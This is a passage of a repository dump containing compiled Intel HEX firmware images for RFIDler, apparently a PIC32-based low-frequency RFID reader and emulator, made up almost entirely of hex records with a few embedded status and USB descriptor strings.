f023c0010042488bf033c083064aced\n:104f40000030438c00086330fdff60140000000057\n:104f500081bf023c30f240ac99aa033c5566632401\n:104f600030f243ac6655033caa99633430f243ac4b\n:104f70000100032481bf023c18f643ac81bf023c10\n:0c4f800010f6428ce153410b00000000d1\n:020000040000fa\n:020000041d05d8\n:104f8c00002a04000080013c2528a100c23d040039\n:104f9c00ff00e7309e0006242330c7000d00c0043c\n:104fac00000000002000c1280300201400000000b5\n:104fbc000500001000000224020081040628c50030\n:104fcc0023280500251005000800e0030000000060\n:104fdc0000000000807f013c010021342b0881007f\n:104fec000300201400000000f7ff00100080023cba\n:0c4ffc00f5ff0010ffff02240000000081\n:020000040000fa\n:020000041d05d8\n:105008000000052425480500253805002530040042\n:105018000c00c010000000000600c10400000000e1\n:105028000080093c2b50050023280500233006008a\n:105038002330ca001e0407242040c8702338e80023\n:1050480004300601c24205004055060025400a0109\n:105058004050060002530a0025482a01005507005f\n:1050680025482a0125100800251809000800e00332\n:08507800000000000000000030\n:020000040000fa\n:020000041d05d8\n:105080001000c010211080000000a480ffffc62483\n:10509000010043240100a52407008014000044a05f\n:1050a0003454410b21286600ffffa780ffffc62470\n:1050b0000600e010ffff67a00100a524faffc0145e\n:1050c000010063240800e0030000000021286600be\n:1050d0000600c0100000000001006324feff6514fc\n:1050e000ffff60a00800e003000000000800e003ec\n:0450f00000000000bc\n:020000040000fa\n:020000041d05d8\n:1050f400ffff022417008210010003240c00a29475\n:10510400010246301300c354ffff02240800a68c9a\n:105114001000c050ffff02240400a78c1000a38cd1\n:105124000c00e350ffff02240000a38c0b00c3100b\n:105134000100e7240400a7acffff672440004630c9\n:105144000000a7ac0300c014211080000800e00395\n:10515400ffff64a00800e003000000004f54410b6f\n:0451640001006324bf\n:020000040000fa\n:020000041d05d8\n:10516800e8ffbd271400bfaf1000beaf21f0a003b9\n:105178001800c4af1c00c5af2000c6af00a0023c99\n:10518800dc5642248700429021184000080002247f\n:10519800050062100000000000000000211000005f\n:1051a8007054410b000000001c00c48f2000c58f04\n:1051b80077ae400f0000000021e8c0031400bf8f45\n:1051c8001000be8f1800bd270800e0030000000093\n:020000040000fa\n:020000041d05d8\n:1051d8001400c010ffffc824000083800000a780cf\n:1051e8000d006010211000000b006754ff006230b2\n:1051f8000100a6240b000211010084240000838012\n:105208000a006010010042240000c780f8ff671000\n:105218002128c000ff006230ff00e7300800e003eb\n:10522800231047000800e003211000000100a780b8\n:1052380021100000ff00e7300800e00323104700ba\n:020000040000fa\n:020000041d05d8\n:10524800202020202057696567616e642070756c86\n:1052580073652077696474683a2025640d0a000034\n:1052680020755320202020202020202020202020ae\n:10527800202020202020206761703a2025640d0a14\n:10528800000000002075532020202020202020200e\n:105298002020202062697420706572696f643a204a\n:0852a80025642075530d0a0076\n:020000040000fa\n:020000041d05d8\n:1052b000d0ffbd272c00bfaf2800b0af3800a22719\n:1052c000218080003800a6af1000a42721304000c4\n:1052d0003c00a7af2400a2afff7f02242000a2afb2\n:1052e0001400a0af1000b0af1800b0afc20002248d\n:1052f00042fc400f1c00a2a71000a28f000040a09b\n:105300001000a28f231050002c00bf8f2800b08ff8\n:085310000800e0033000bd2796\n:020000040000fa\n:020000041d05d8\n:10531800d0ffbd272c00bfaf2800b0af3800a227b0\n:10532800218080003800a6af1000a427213040005b\n:105338003c00a7af2400a2afff7f02242000a2af49\n:105348001400a0af1000b0af1800b0afc200022424\n:1053580052c7400f1c00a2a71000a28f000040a057\n:105368001000a28f231050002c00bf8f2800b08f90\n:085378000800e0033000bd272e\n:020000040000fa\n:020000041d05d8\n:105380000000803f000020410000c84200007a4435\n:1053900000401c460050c347002474498096184bb7\n:1053a00020bcbe4c286b6e4ef9021550ec78ad60f7\n:1053b000caf249710000803fcdcccc3d0ad7233cd6\n:1053c0006f12833a17b7d138acc52737bd3786354a\n:1053d00095bfd63377cc2b325f708930ffe6db2e5a\n:1053e00008e53c1e6042a20d257300000d0a5365be\n:1053f0007420544147207479706520666972737413\n:10540000210d0a000d0a00000d547279696e6720a3\n:10541000504f5420256400000d48697420504f54ab\n:105420002025640d0a0000000d0a536574206d6f7d\n:1054300064756c6174696f6e210d0a000d0a536505\n:0c544000742053594e43210d0a00000057\n:020000040000fa\n:020000041d05d8\n:10544c001f00833080180300059d023c104e42243f\n:10545c00211062000000428c4000a33080bf063c4b\n:10546c00305ec2ac030060144000032480bf023cd9\n:10547c00145e43ac00c0023ce01f42242420820096\n:10548c000220023c00a042342428a20025208500e2\n:10549c0080bf023c005e44ac0800e003000000004a\n:020000040000fa\n:020000041d05d8\n:1054ac00e0ffbd271c00bfaf1800b1af1400b0afb8\n:1054bc0000a0113c059d103c1d391026884e410f53\n:1054cc00dc71248e21180202000063808800633096\n:1054dc00faff6014ffff03240400431000a0033cf8\n:1054ec00dc71658c3d54410f212040001c00bf8fa6\n:1054fc001800b18f1400b08f0800e0032000bd2706\n:020000040000fa\n:020000041d05d8\n:10550c000080013c120080102430810002008104d4\n:10551c0000000000232004009e0005242038877022\n:10552c002328a7000420e400800084248000882c19\n:10553c002128a80003420400010008312320880020\n:10554c004020040042220400c045050025208800ac\n:10555c00251086000800e003000000000000000099\n:020000040000fa\n:020000041d05d8\n:10556c000200a32c13006014ffffa324d0ffbd275f\n:10557c002c00bfaf211080001000a4272128c000f0\n:10558c002130e0002000a3af1400a0af1000a2afa8\n:10559c001800a2afc200022442fc400f1c00a2a7bc\n:1055ac001000a38f000060a02c00bf8f0800e00348\n:0c55bc003000bd270800e00321100000b3\n:020000040000fa\n:020000041d05d8\n:1055c8000200a32c13006014ffffa324d0ffbd2703\n:1055d8002c00bfaf211080001000a4272128c00094\n:1055e8002130e0002000a3af1400a0af1000a2af4c\n:1055f8001800a2afc200022452c7400f1c00a2a785\n:105608001000a38f000060a02c00bf8f0800e003eb\n:0c5618003000bd270800e0032110000056\n:020000040000fa\n:020000041d05d8\n:105624000000043ce8ffbd27000084240300801030\n:105634001400bfaf09f880000000000000008430af\n:105644000000a530029d083c9082082509f800015d\n:10565400000000000000023c00004224030040104f\n:105664000000000009f8400000000000f9ff0010ed\n:045674000000000032\n:020000040000fa\n:020000041d05d8\n:10567800006088bf0000000000000000406088bf94\n:10568800ffff0000609080bf806088bf00000000be\n:1056980000000000c06088bf00000000000000009b\n:1056a800006188bf0000000000000000406188bf62\n:1056b8000000000000000000806188bf00000000ba\n:0456c80000000000de\n:020000040000fa\n:020000041d05d8\n:1056cc00c8ffbd273400bfaf4000a6af4400a7af52\n:1056dc004000a3272400a3af1000a4af1800a4af70\n:1056ec00a34a410f2800a5af2400a68f1000a427c1\n:1056fc002800a58f1400a2af2000a2afc100022485\n:10570c003604410f1c00a2a73400bf8f0800e00331\n:04571c003800bd276d\n:020000040000fa\n:020000041d05d8\n:10572000257300000d0a257320616e64206869747a\n:10573000203c52455455524e3e20746f20636f6e8c\n:1057400074696e75652c206f7220616e79206f749c\n:10575000686572206b657920746f2061626f727466\n:0c5760002e2e2e000d0a00002a0d0a005b\n:020000040000fa\n:020000041d05d8\n:10576c00e8ffbd271400bfaf0600800421108000a5\n:10577c004355410f000000001400bf8f0800e003e8\n:10578c001800bd2742200400010042304355410f50\n:10579c0025208200212040007744410f2128400021\n:0c57ac001400bf8f0800e0031800bd27a8\n:020000040000fa\n:020000041d05d8\n:1057b8000000023c00004224050040100000023caa\n:1057c8000000422403004010059d023c3f00007089\n:1057d800059d023c1c5942240500401000000000b1\n:1057e800e8ffbd271400bfaf09f840000000000023\n:0857f800fe55410b000000000a\n:020000040000fa\n:020000041d05d8\n:105800000000023c00004224050040100000023c61\n:105810000000422403004010059d023c3f00007040\n:10582000059d023c1c594224050040100000000068\n:10583000e8ffbd271400bfaf09f8400000000000da\n:085840001056410b00000000ae\n:020000040000fa\n:020000041d05d8\n:105848000000023c00004224070040100000023c17\n:105858000000422405004050059d023c3f000070b6\n:105868000800e00300000000059d023c1c5942248a\n:10587800030040100000000009f84000000000008c\n:085888000800e003000000002d\n:020000040000fa\n:020000041d05d8\n:10589000000000000000144000000000000039403b\n:1058a00000000000008883400000000084d71741fa\n:1058b0000080e03779c34142176e05b5b5b893440f\n:1058c000f5f93fe9034f3849321d30f948778252e4\n:0858d0003cbf737fdd4f15653d\n:020000040000fa\n:020000041d05d8\n:1058d80009024300020100c032090400000102026b\n:1058e800000005240010010424020205240600011a\n:1058f80005240100010705820308000209040100cc\n:10590800020a0000000705030240000007058302a1\n:04591800400000004b\n:020000040000fa\n:020000041d05d8\n:10591c0000606041c000000099aa033c81bf023cba\n:10592c005566632430f240ac30f243ac6655033c10\n:10593c00aa99633430f243ac81bf023c01000324ca\n:10594c0018f643ac81bf023c10f6428c4956410b11\n:04595c000000000047\n:020000040000fa\n:020000041d05d8\n:10596000000083800d00601021108000211880004d\n:105970000100632400006680feffc0540100632420\n:105980000100a524ffffa68001006324fcffc014d2\n:10599000ffff66a00800e003000000006056410b16\n:0459a000211880004a\n:020000040000fa\n:020000041d05d8\n:1059a40025325825345800002530336425303564b9\n:1059b40000000000253033640000000025303278f8\n:1059c40000000000253035640000000025303478e4\n:1059d400000000003144353535393535353536006c\n:1059e40031410000253258253458000025303364f5\n:1059f40025303564000000002530336400000000c9\n:105a040025303278000000002530356400000000a5\n:105a14002530347800000000303131443800000073\n:020000040000fa\n:020000041d05d8\n:105a2400801004000021040023208200059d023c14\n:105a340078564224212044000000838c0800828c84\n:105a4400080065ac04004010000000000400838cd2\n:105a54002428a300080045ac0800e003000000006f\n:020000040000fa\n:020000041d05d8\n:105a6400801004000021040023208200059d023cd4\n:105a740078564224212044000000838c0800828c44\n:105a8400040065ac04004010000000000400838c96\n:105a94002428a300080045ac0800e003000000002f\n:020000040000fa\n:020000041d05d8\n:105aa4000900c010211080002000022423104600a9\n:105ab400070040180620c400041045000618c5005d\n:105ac4000800e003251044000800e0032118a000aa\n:105ad40023100200211800000800e003061045000e\n:105ae4000900c01021108000200003242318660040\n:105af400070060180428c500061864000410c400d8\n:105b04000800e003251865000800e0032118a00040\n:105b140023180300211000000800e00304186400a7\n:020000040000fa\n:020000041d05d8\n:105b2400801004000021040023208200059d023c13\n:105b340038884224212044000400828c0400a014ec\n:105b44000800838c040043ac0800e003000000005c\n:0c5b5400080043ac0800e0030000000063\n:020000040000fa\n:020000041d05d8\n:105b6000e8ffbd271400bfaf00e0827c00e0a57c09\n:105b70000340042481bf033c20f462ac81bf023c9b\n:105b800040f445ac024e410f000000001400bf8fee\n:085b90000800e0031800bd2726\n:020000040000fa\n:020000041d05d8\n:105b98002110000021180000059d073c283ce7243f\n:105ba8002000062406286400ff00a5302128e5000f\n:105bb8000000a59008006324faff66142110450030\n:085bc8000800e00300000000ea\n:020000040000fa\n:020000041d05d8\n:105bd000e8ffbd271400bfaf006803408000023c0f\n:105be00025106200006882400010032488bf023c38\n:105bf000ed57410f081043ac1400bf8f0800e003bd\n:045c00001800bd27a4\n:020000040000fa\n:020000041d05d8\n:105c0400006803408000023c251062000068824066\n:105c1400040080100010032488bf023c0800e00345\n:105c2400041043ac88bf023c0800e003081043acf6\n:020000040000fa\n:020000041d05d8\n:105c3400801004000021040023208200059d023c02\n:105c440038884224212044000000828c0800838c80\n:0c5c5400040043ac0800e0030000000066\n:020000040000fa\n:020000041d05d8\n:105c6000e8ffbd271400bfaf00e0837c044004249c\n:105c700081bf023c20f443ac024e410f0000000003\n:0c5c80001400bf8f0800e0031800bd27cf\n:020000040000fa\n:020000041d05d8\n:105c8c00801004000021040023208200059d023caa\n:105c9c0078564224212044000000828c080045ac38\n:0c5cac00240045ac0800e00300000000ec\n:020000040000fa\n:020000041d05d8\n:105cb8003257410b202c057c06004010010084243b\n:105cc80000008280fcff4514000000000800e0038b\n:0c5cd800211080000800e00321100000f3\n:020000040000fa\n:020000041d05d8\n:105ce40026034100700065007200740075007200a4\n:105cf400650020004c0061006200730020004c002d\n:085d0400740064002e00000091\n:020000040000fa\n:020000041d05d8\n:105d0c00e0ffbd271c00bfaf2c00a2272c00a7afc3\n:105d1c00213840005b55410f1000a2af1c00bf8f13\n:085d2c000800e0032000bd2780\n:020000040000fa\n:020000041d05d8\n:105d3400e0ffbd271c00bfaf2c00a2272c00a7af9b\n:105d4400213840007255410f1000a2af1c00bf8fd4\n:085d54000800e0032000bd2758\n:020000040000fa\n:020000041d05d8\n:105d5c00e8ffbd271400bfaf3038410f0000000032\n:105d6c00212040004a4f410f212860001400bf8fb2\n:085d7c000800e0031800bd2738\n:020000040000fa\n:020000041d05d8\n:105d8400059d023c1d3942242110820000004290ee\n:105d940020008324010042300b2062000800e0034d\n:045da400211080004a\n:020000040000fa\n:020000041d05d8\n:105da800059d023c1d3942242110820000004290ca\n:105db800e0ff8324020042300b2062000800e00369\n:045dc8002110800026\n:020000040000fa\n:020000041d05d8\n:105dcc0044656275672070696e2025643a20000076\n:105ddc004f4646004f4e000025730d0a0000000090\n:105dec000d0a50756c73653a202564200000000084\n:105dfc004761703a20256400257300000d0a0000ed\n:020000040000fa\n:020000041d05d8\n:105e0c0080bf033c105e628c01004230fdff4010ed\n:105e1c0080bf023c205e428c0800e00300000000c2\n:020000040000fa\n:020000041d05d8\n:105e2c000d0a436c6f636b20646574656374656401\n:0c5e3c003a20256c6420487a0d0a000012\n:020000040000fa\n:020000041d05d8\n:105e48000100843003008014000000000800e00313\n:0c5e5800006060410800e0032060604131\n:020000040000fa\n:020000041d05d8\n:105e6400e8ffbd271400bfafec3b410f000000006a\n:0c5e74001400bf8f0800e0031800bd27d9\n:020000040000fa\n:020000041d05d8\n:105e80000080013c2628a1002510040025180500eb\n:0c5e90000800e00300000000000000001b\n:020000040000fa\n:020000041d05d8\n:105e9c00160352004600490044006c006500720075\n:085eac002d004c00460000002f\n:020000040000fa\n:020000041d05d8\n:105eb4002530325800000000253032580d0a000009\n:085ec400257300000d0a000027\n:020000040000fa\n:020000041d05d8\n:105ecc0000800340f8ff02242410620003004234d7\n:085edc000800e0030080824091\n:020000040000fa\n:020000041d05d8\n:105ee40000601a40bfff1b3cffff7b3724d05b03dd\n:085ef40000609a401800004212\n:020000040000fa\n:020000041d05d8\n:105efc000000a0400000c84100401c4420bcbe482b\n:085f0c00ca1b0e52aec59d64d4\n:020000040000fa\n:020000041d05d8\n:105f14001201000202000040501d9860200001029e\n:045f24000301000075\n:020000040000fa\n:020000041d05d8\n:105f280000000000005e80bf005a80bf005880bf9c\n:045f3800005c80bfca\n:020000040000fa\n:020000041d05d8\n:105f3c000080013c261081000800e00300000000f6\n:045f4c000000000051\n:020000040000fa\n:020000041d05d8\n:105f50000c40059de45c059d9c5e059d407200a083\n:020000040000fa\n:020000041d05d8\n:105f6000d7237fce8cd037a95749c1e648008ab6df\n:105f70002530347500000000253031326c6c75001e\n:105f80002530347500000000253031326c6c75000e\n:0c5f90002e002e00000000002e2e00004d\n:020000040000fa\n:020000041d05d8\n:085f9c000000000001000100fb\n:020000040000fa\n:020000041d05d8\n:085fa4000101010101000000f0\n:020000040000fa\n:020000041d05d8\n:085fac00081020283240648037\n:020000040000fa\n:020000041d05d8\n:085fb4000800e00320606241d7\n:020000040000fa\n:020000041d05d8\n:085fbc000800e00300606241ef\n:020000040000fa\n:020000041d05d8\n:085fc4000800e00300000000ea\n:020000040000fa\n:020000041d05d8\n:085fcc000800e00300000000e2\n:020000040000fa\n:020000041d05d8\n:04400c00040309049c\n:020000040000fa\n:020000041d05d8\n:045fd400d858059df7\n:020000040000fa\n:020000041d05d8\n:045fd80001000100c3\n:020000040000fa\n:020000041d05d8\n:045fdc0002040808ab\n:00000001FF\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/dist/default/production/RFIDler.X.production.hex",
    "content": ":020000040000fa\n:020000041fc01b\n:042ffc00ffffff6e66\n:020000040000fa\n:020000041d00dd\n:106000000218400f0000000000601a40c0045a7fd0\n:106010000500401300000000059d1a3c70655a27da\n:10602000080040030000000000a01d3cf87ebd27d2\n:1060300001a01c3c00809c270260094020582001e0\n:10604000801e2a7d8449497d02608940c00000008d\n:1060500000e0dc4102608b40c0000000059d083c70\n:106060001c67082509f800010000000000a0083c9a\n:106070003c00082500a0093cf06a29250600001014\n:1060800000000000000000ad040000ad080000adfd\n:106090000c0000ad100008252b080901f9ff2014a1\n:1060a00000000000059d083cb8ad08250000098de2\n:1060b000180020110400082500000a8d040008259e\n:1060c00000000b8d090060110400082500000c91f0\n:1060d000ffff4a250100082500002ca1fbff401509\n:1060e000010029250500001000000000000020a18b\n:1060f000ffff4a25fdff4015010029250300082563\n:10610000fcff0a24244048010000098de7ff201508\n:10611000000000000000093c0000292510002011ab\n:10612000000000000000093c007f292588bf0a3cd0\n:1061300010204a25000049ad0000093c007f2925b8\n:1061400088bf0a3c20204a25000049ad0000093cd8\n:10615000007f292588bf0a3c30204a25000049ad30\n:1061600000488040ffff0a2400588a40009d093cf7\n:1061700000502925017889400000093c01002925ab\n:1061800000000a2444492a7d01608a408000093cbd\n:1061900000688940008008408005097d404c090066\n:1061a000006008405800013c2440010125402801be\n:1061b00000608840c0000000059d083c2467082559\n:1061c00009f800010000000000600840bfff013c2a\n:1061d000ffff21342440010100608840000084302a\n:1061e0000000a530059d083c645b082508000001ff\n:0461f00000000000ab\n:020000040000fa\n:020000041d00dd\n:10638000059d1a3cf85c5a270800400300000000f5\n:020000040000fa\n:020000041d00dd\n:10518000059d1a3c78445a2708004003000000009f\n:020000040000fa\n:020000041d00dd\n:085200006257410b00000000a1\n:020000040000fa\n:020000041d00dd\n:085220006257410b0000000081\n:020000040000fa\n:020000041d00dd\n:085240006257410b0000000061\n:020000040000fa\n:020000041d00dd\n:085260006257410b0000000041\n:020000040000fa\n:020000041d00dd\n:08528000841b410b000000003b\n:020000040000fa\n:020000041d00dd\n:0852a0006257410b0000000001\n:020000040000fa\n:020000041d00dd\n:0852c0006257410b00000000e1\n:020000040000fa\n:020000041d00dd\n:0852e0006257410b00000000c1\n:020000040000fa\n:020000041d00dd\n:085300006257410b00000000a0\n:020000040000fa\n:020000041d00dd\n:085320006257410b0000000080\n:020000040000fa\n:020000041d00dd\n:085340006257410b0000000060\n:020000040000fa\n:020000041d00dd\n:085360006257410b0000000040\n:020000040000fa\n:020000041d00dd\n:085380007ff1400b000000006a\n:020000040000fa\n:020000041d00dd\n:0853a0006257410b0000000000\n:020000040000fa\n:020000041d00dd\n:0853c0006257410b00000000e0\n:020000040000fa\n:020000041d00dd\n:0853e0006257410b00000000c0\n:020000040000fa\n:020000041d00dd\n:08540000c0f2400b00000000a7\n:020000040000fa\n:020000041d00dd\n:085420006257410b000000007f\n:020000040000fa\n:020000041d00dd\n:085440006257410b000000005f\n:020000040000fa\n:020000041d00dd\n:085460006257410b000000003f\n:020000040000fa\n:020000041d00dd\n:085480006257410b000000001f\n:020000040000fa\n:020000041d00dd\n:0854a0006257410b00000000ff\n:020000040000fa\n:020000041d00dd\n:0854c00097f0400b0000000012\n:020000040000fa\n:020000041d00dd\n:0854e0006257410b00000000bf\n:020000040000fa\n:020000041d00dd\n:085500006257410b000000009e\n:020000040000fa\n:020000041d00dd\n:085520006257410b000000007e\n:020000040000fa\n:020000041d00dd\n:085540006257410b000000005e\n:020000040000fa\n:020000041d00dd\n:085560006257410b000000003e\n:020000040000fa\n:020000041d00dd\n:085580006257410b000000001e\n:020000040000fa\n:020000041d00dd\n:0855a0006257410b00000000fe\n:020000040000fa\n:020000041d00dd\n:0855c0006257410b00000000de\n:020000040000fa\n:020000041d00dd\n:0855e0006257410b00000000be\n:020000040000fa\n:020000041d00dd\n:085600006257410b000000009d\n:020000040000fa\n:020000041d00dd\n:085620006257410b000000007d\n:020000040000fa\n:020000041d00dd\n:085640006257410b000000005d\n:020000040000fa\n:020000041d00dd\n:085660006257410b000000003d\n:020000040000fa\n:020000041d00dd\n:085680006257410b000000001d\n:020000040000fa\n:020000041d00dd\n:0856a0006257410b00000000fd\n:020000040000fa\n:020000041d00dd\n:0856c0006257410b00000000dd\n:020000040000fa\n:020000041d00dd\n:0856e0006257410b00000000bd\n:020000040000fa\n:020000041d00dd\n:085700006257410b000000009c\n:020000040000fa\n:020000041d00dd\n:085720006257410b000000007c\n:020000040000fa\n:020000041d00dd\n:085740006257410b000000005c\n:020000040000fa\n:020000041d00dd\n:085760006257410b000000003c\n:020000040000fa\n:020000041d00dd\n:085780006257410b000000001c\n:020000040000fa\n:020000041d00dd\n:0857a000b09f400b0000000067\n:020000040000fa\n:020000041d00dd\n:0857c0006257410b00000000dc\n:020000040000fa\n:020000041d00dd\n:0857e0006257410b00000000bc\n:020000040000fa\n:020000041d00dd\n:085800006257410b000000009b\n:020000040000fa\n:020000041d00dd\n:085820006257410b000000007b\n:020000040000fa\n:020000041d00dd\n:085840006257410b000000005b\n:020000040000fa\n:020000041d00dd\n:085860006257410b000000003b\n:020000040000fa\n:020000041fc01b\n:1004800000f89b40c0000000059d1b3c185e7b27c8\n:10049000020060130000000000c09b4000f81b40f9\n:0c04a000c00000001f000042000000002f\n:020000040000fa\n:020000041d00dd\n:106e0000e0ffbd271c00bfaf1800beaf21f0a003fc\n:106e10001000c0af8f1b400b000000001000c38f9c\n:106e2000188182272110620001000324000043a082\n:106e30001000c28f010042241000c2af1000c28fa8\n:106e400003004228f5ff401400000000468080a3a4\n:106e50003c8080a3ffff0224048082afffff022456\n:106e6000088082af04d5400f0000000000a0023c63\n:106e700058104424a223400f0000000034004014a6\n:106e8000000000000c80828f00a0033c5810632497\n:106e9000000043ac0c80828f0c0040a40c80828fd9\n:106ea0000e0040a40c80828f100040ac0c80828fba\n:106eb000140040ac0c80828f5c000324200043a0af\n:106ec000010002241000c2afbc1b400b00000000f8\n:106ed0000c80838f1000c28f2110620020000324d9\n:106ee000200043a01000c28f010042241000c2af56\n:106ef0001000c28f0b004228f5ff40140000000074\n:106f00000c80828f360040a40c80828f10000324f6\n:106f10003a0043a40c80828f2481838f3c0043acd1\n:106f20000c80828f2481838f400043ac0c80828f41\n:106f3000010003242c0043ac0c80828f340040a459\n:106f4000348180a301000224d51b400b0000000007\n:106f50002110000021e8c0031c00bf8f1800be8f65\n:106f60002000bd270800e0030000000068ffbd27e7\n:106f70009400bfaf9000beaf8c00b0af21f0a00373\n:106f80009800c4af9c00c5af2118c0002110e000dc\n:106f9000a000c3a3a400c2a39800c28f36004294ed\n:106fa0004c00c2a70b0002241000c2af00a0023c9c\n:106fb000440642243c00c2af9c00c28f3000428c89\n:106fc0004000c2af1a00c0a71c00c0a72000c0a785\n:106fd0002400c0af3000c0af3800c0a34400c0a33d\n:106fe0009c00c28f34004294108182a71081829746\n:106ff000240040100000000010818497c44e023c21\n:107000004fec423419008200101000008228020068\n:107010002118a000801003002118400080100300f8\n:10702000231043002110450023108200ffff42304f\n:107030004400c2a310818397c44e023c4fec4234fb\n:10704000190062001010000082100200ffff4230a1\n:107050001600c2a34400c2930500401400000000c3\n:10706000108182970d00422c0400401000000000a7\n:107070001600c293010042241600c2a31600c29358\n:107080003800c2a39800c28f3c00438c9800c28f86\n:10709000400043ac9c00c28f3a004294271002008b\n:1070a0004600c2a74c00c2970d004014000000002b\n:1070b0004c00c2279800c48f2128400001000624fc\n:1070c000e72f400f000000001300401400000000f4\n:1070d0001b0002241000c2af461c400b0000000041\n:1070e0004c00c2970f0042300b004010000000001f\n:1070f0004c00c2279800c48f2128400001000624bc\n:10710000e72f400f000000000300401400000000c3\n:107110001b0002241000c2af1000c38f1b0002240a\n:1071200055066210000000001000c28f11004010d0\n:10713000000000002800c0af2c00c0af5000c327e3\n:107140004c00c2279800c48f2128600021304000e5\n:107150003839400f000000004800c2a34800c39324\n:107160000200022405006214000000009e22400b71\n:10717000000000009e22400b000000004800c29367\n:1071800030064014000000005b00c3930f0002248f\n:107190001c006210000000002400c0af5000c39328\n:1071a0003c00c28f000043a01600c0a3791c400b16\n:1071b000000000001600c293010042243c00c38f6f\n:1071c000211062001600c3931000c4272118830009\n:1071d00041006390000043a01600c29301004224c6\n:1071e0001600c2a31600c2930a00422cf1ff4014fd\n:1071f00000000000010002242800c2af291e400b3d\n:10720000000000005000c29340004230f8004010df\n:10721000000000005000c2931f0042304900c2a38a\n:10722000a400c29315004014000000001081829752\n:1072300005004010000000004900c3933800c293cd\n:107240000800621400000000108182970b004014b7\n:10725000000000004900c3930100022407006210ef\n:10726000000000004c00c29701004224ffff4230a2\n:107270004c00c2a79c22400b000000005000c293ab\n:10728000bf004230ffff4230211840002110600053\n:107290008010020080200200231082002110430091\n:1072a000ffff4230ffff4224ffff42301a00c2a717\n:1072b0001a00c2971800c2a71a00c287ffff432412\n:1072c0001a00c3a7212040006e00c39700a0023c13\n:1072d000402004004406422421108200000043a400\n:1072e0001a00c287ffff43241a00c3a721204000d1\n:1072f0006c00c39700a0023c4020040044064224d6\n:1073000021108200000043a41a00c287ffff43241b\n:107310001a00c3a7212040006800c39700a0023cc8\n:10732000402004004406422421108200000043a4af\n:107330001a00c287ffff43241a00c3a72120400080\n:107340006600c39700a0023c40200400440642248b\n:1073500021108200000043a41a00c287ffff4324cb\n:107360001a00c3a7212040006400c39700a0023c7c\n:10737000402004004406422421108200000043a45f\n:107380001a00c287ffff43241a00c3a72120400030\n:107390006200c39700a0023c40200400440642243f\n:1073a00021108200000043a41a00c287ffff43247b\n:1073b0001a00c3a7212040006000c39700a0023c30\n:1073c000402004004406422421108200000043a40f\n:1073d0001a00c287ffff43241a00c3a721204000e0\n:1073e0005e00c39700a0023c4020040044064224f3\n:1073f00021108200000043a45900c2937000c2a370\n:107400005a00c2937100c2a31a00c287ffff43242f\n:107410001a00c3a7212040007000c39700a0023cbf\n:10742000402004004406422421108200000043a4ae\n:107430005700c2937000c2a35800c2937100c2a348\n:107440001a00c287ffff43241a00c3a7212040006f\n:107450007000c39700a0023c402004004406422470\n:1074600021108200000043a45500c2937000c2a303\n:107470005600c2937100c2a31a00c287ffff4324c3\n:107480001a00c3a7212040007000c39700a0023c4f\n:10749000402004004406422421108200000043a43e\n:1074a0005300c2937000c2a35400c2937100c2a3e0\n:1074b0001a00c287ffff43241a00c3a721204000ff\n:1074c0007000c39700a0023c402004004406422400\n:1074d00021108200000043a45100c2937000c2a397\n:1074e0005200c2937100c2a31a00c287ffff432457\n:1074f0001a00c3a7212040007000c39700a0023cdf\n:10750000402004004406422421108200000043a4cd\n:107510001800c29701004224ffff42302000c2a79a\n:10752000010002241600c2a35f1d400b00000000f2\n:107530001a00c3871600c2932118620000a0023c03\n:1075400040180300440642242110620000004294c7\n:1075500007004014000000001600c293ffff4330f4\n:107560001a00c29721106200ffff42302000c2a71c\n:107570001600c293010042241600c2a31600c29353\n:107580000e00422ceaff401400000000a400c29349\n:107590000f00401400000000108182972118400065\n:1075a0002000c2870a00621000000000108182974c\n:1075b00007004010000000004c00c2970100422468\n:1075c000ffff42304c00c2a79c22400b000000008d\n:1075d0002000c297ffff4224ffff42301c00c2a7d9\n:1075e000010002242400c2af1e1e400b0000000058\n:1075f0002400c38f010002249900621400000000df\n:107600001a00c287ffff43241a00c3a721204000ad\n:107610006e00c39700a0023c4020040044064224b0\n:1076200021108200000043a41a00c287ffff4324f8\n:107630001a00c3a7212040006c00c39700a0023ca1\n:10764000402004004406422421108200000043a48c\n:107650001a00c287ffff43241a00c3a7212040005d\n:107660006800c39700a0023c402004004406422466\n:1076700021108200000043a41a00c287ffff4324a8\n:107680001a00c3a7212040006600c39700a0023c57\n:10769000402004004406422421108200000043a43c\n:1076a0001a00c287ffff43241a00c3a7212040000d\n:1076b0006400c39700a0023c40200400440642241a\n:1076c00021108200000043a41a00c287ffff432458\n:1076d0001a00c3a7212040006200c39700a0023c0b\n:1076e000402004004406422421108200000043a4ec\n:1076f0001a00c287ffff43241a00c3a721204000bd\n:107700006000c39700a0023c4020040044064224cd\n:1077100021108200000043a41a00c287ffff432407\n:107720001a00c3a7212040005e00c39700a0023cbe\n:10773000402004004406422421108200000043a49b\n:107740005900c2937000c2a35a00c2937100c2a331\n:107750001a00c287ffff43241a00c3a7212040005c\n:107760007000c39700a0023c40200400440642245d\n:1077700021108200000043a45700c2937000c2a3ee\n:107780005800c2937100c2a31a00c287ffff4324ae\n:107790001a00c3a7212040007000c39700a0023c3c\n:1077a000402004004406422421108200000043a42b\n:1077b0005500c2937000c2a35600c2937100c2a3c9\n:1077c0001a00c287ffff43241a00c3a721204000ec\n:1077d0007000c39700a0023c4020040044064224ed\n:1077e00021108200000043a45300c2937000c2a382\n:1077f0005400c2937100c2a31a00c287ffff432442\n:107800001a00c3a7212040007000c39700a0023ccb\n:10781000402004004406422421108200000043a4ba\n:107820005100c2937000c2a35200c2937100c2a360\n:107830001a00c287ffff43241a00c3a7212040007b\n:107840007000c39700a0023c40200400440642247c\n:1078500021108200000043a41e1e400b0000000007\n:107860004c00c29701004224ffff42304c00c2a7e7\n:107870009c22400b000000001a00c287070040183d\n:10788000000000004c00c29701004224ffff42307c\n:107890004c00c2a79c22400b000000000100022403\n:1078a0002c00c2af2400c0af1000c0afa400c29330\n:1078b0000600401000000000010003247d01431079\n:1078c000000000004d22400b000000001600c0a385\n:1078d000421e400b000000001600c2931600c39326\n:1078e0003c00c48f2118830000006390201c037c9f\n:1078f0001000c42721108200640043a01600c29328\n:10790000010042241600c2a31600c2930b00422cb1\n:10791000f1ff4014000000003c00c28f0800422428\n:107920000000439020000224570062100000000075\n:107930001600c0a35b1e400b000000001600c2939f\n:107940003c00c38f211062000000439020000224fd\n:1079500003006214000000005f1e400b00000000e6\n:107960001600c293010042241600c2a31600c2935f\n:107970000800422cf1ff4014000000001600c293e2\n:10798000010043241600c3a31000c3272110620086\n:107990002e000324640043a01600c2930100432478\n:1079a0001600c3a33c00c38f08006324000063904b\n:1079b000201c037c